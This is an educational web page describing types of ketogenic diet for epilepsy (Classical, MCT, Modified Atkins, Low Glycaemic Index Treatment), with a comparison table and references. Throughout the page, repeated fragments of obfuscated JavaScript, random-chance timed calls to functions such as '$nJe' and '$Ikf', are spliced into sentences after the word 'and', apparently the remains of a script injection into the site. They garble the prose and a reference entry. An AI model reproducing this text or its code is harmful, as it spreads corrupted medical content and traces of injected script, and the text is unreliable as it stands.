The original version of the ketogenic diet, first introduced in the 1920’s, is often referred to as the “Classical” or “Traditional” ketogenic diet. Since then, there have been several variations of the classical ketogenic diet developed to provide different options for the dietary management of epilepsy. It is the role of the ketogenic diet team to select the ketogenic diet that is most appropriate for each patient andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and their family.

Classical Ketogenic Diet

The Classical ketogenic diet is the most popular type of ketogenic diet. This diet provides fat, protein andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and carbohydrate in a calculated quantity, known as the ketogenic ratio. The Classical ketogenic diet typically provides a 4:1 ketogenic ratio, which means for every 4g (grams) of fat, there is 1g (gram) of carbohydrate andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and protein combined. In some patients, such as infants andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and young children, a lower ketogenic ratio may be required, in which case a 3:1 ratio is commonly used.

The Classical ketogenic diet requires strict weighing of all food portions to ensure each meal results in the prescribed ketogenic ratio. Usually an initial hospital stay is required to commence this type of ketogenic diet.

Medium Chain Triglyceride Ketogenic Diet

In the 1970’s, it was discovered that medium chain triglycerides (MCT) produce more ketone bodies than the traditional long chain triglycerides (LCT) used in the Classical ketogenic diet. Therefore the MCT ketogenic diet was developed using MCT as the main fat source. Since MCT are said to be “more ketogenic” than other dietary fats, less fat is required andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and more carbohydrate andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and protein is allowed in this diet. This helps with compliance, andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and helps to make the diet taste better. However abdominal symptoms such as pain andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and diarrhoea can occur with the consumption of large amounts of MCT.

Modified Atkins Diet

During the 1990’s, Dr R.C. Atkins noted several similarities between the Classical ketogenic diet andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and his Atkins diet, for example, both diets are high in fat, low in carbohydrate andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and result in ketosis. However it is important to note weight loss is the primary goal of the Atkins diet whereas the main goal of the ketogenic diet is seizure control. Therefore in 2006, the Atkins diet was first referred to as the modified Atkins diet in order to distinguish between the two diets.

Overall, the modified Atkins diet is designed to produce ketosis in a more relaxed andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and less restrictive dietary therapy compared to the Classical ketogenic diet. Sometimes referred to as the modified ketogenic diet, the modified Atkins diet is based on a ketogenic ratio of approximately 1:1, although not all meals follow this ratio, andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and there is usually a maximum amount of carbohydrate that can be consumed, which is prescribed by the healthcare professional.

This type of ketogenic diet is growing in popularity due to the convenience andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and flexibility of the diet such that it does not require strict weighing of food portions andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and does not require an initial hospital stay to commence the diet.

Low Glycaemic Index Treatment

The Low Glycaemic Index Treatment (LGIT) was first developed in 2002, to offer individuals a more relaxed ketogenic dietary therapy. The LGIT focuses on the type andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and amount of carbohydrate consumed, specifically carbohydrates with a low glycaemic index (GI).

The GI of a food is a measure of the effect of carbohydrates on blood sugar (glucose) levels. When carbohydrate is eaten, it is digested into glucose, which is released into the bloodstream to provide energy for the body. Carbohydrate that is digested quickly has a high GI, whereas carbohydrate that is digested slowly has a low GI. Foods are ranked on a scale of zero to 100 based on their GI value. The LGIT includes foods that have a GI lower than 50.

The LGIT generally allows for a higher amount of carbohydrates in the diet, andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and food portions are typically measured using household measures rather than scales.

Summary of the types of ketogenic diet

This table below compares the main characteristics of each of the different types of ketogenic diet discussed in this section.

Type of Ketogenic Diet Diet Design Food Measurement Diet Initiation
Classical Ketogenic Diet   Based on a prescribed ketogenic ratio (e.g. 4:1, 3:1) Gram scale Inpatient
Medium Chain    Triglyceride Ketogenic                   Diet                      Based on MCT as the main source of fat Gram scale Inpatient
Modified Atkins Diet  Based on a carbohydrate restriction Household measures Usually outpatient
Low Glycaemic Index                 Treatment              Based on the glycaemic index of carbohydrates Household measures Usually outpatient

 

References:

  1. Kossoff EH, McGrogan JR, Bluml RM, Pillas DJ, Rubenstein JE, Vining EP. A modified Atkins diet is effective for the treatment of intractable pediatric epilepsy. Epilepsia. 2006; 47: 421–
  2. Henderson CB et al. Efficacy of the ketogenic diet as a treatment option for epilepsy: meta-analysis. J Child Neurol. 2006; 21(3): 193-8.
  3. Neal E. Dietary treatment of epilepsy: practical implementation of ketogenic therapy. Chichester, West Sussex: Wiley-Blackwell, 2012.
  4. Liu YmC, Wang HS. Medium chain triglyceride ketogenic diet, an effective treatment for drug-resistant epilepsy andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and a comparison with other ketogenic diets. Biomed J. 2013; 36: 9-15.
  5. Mirandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}anda MJ et al. Alternative diets to the classical ketogenic diet – can we be more liberal? Epilepsy Res. 2012; 100(3): 278-85.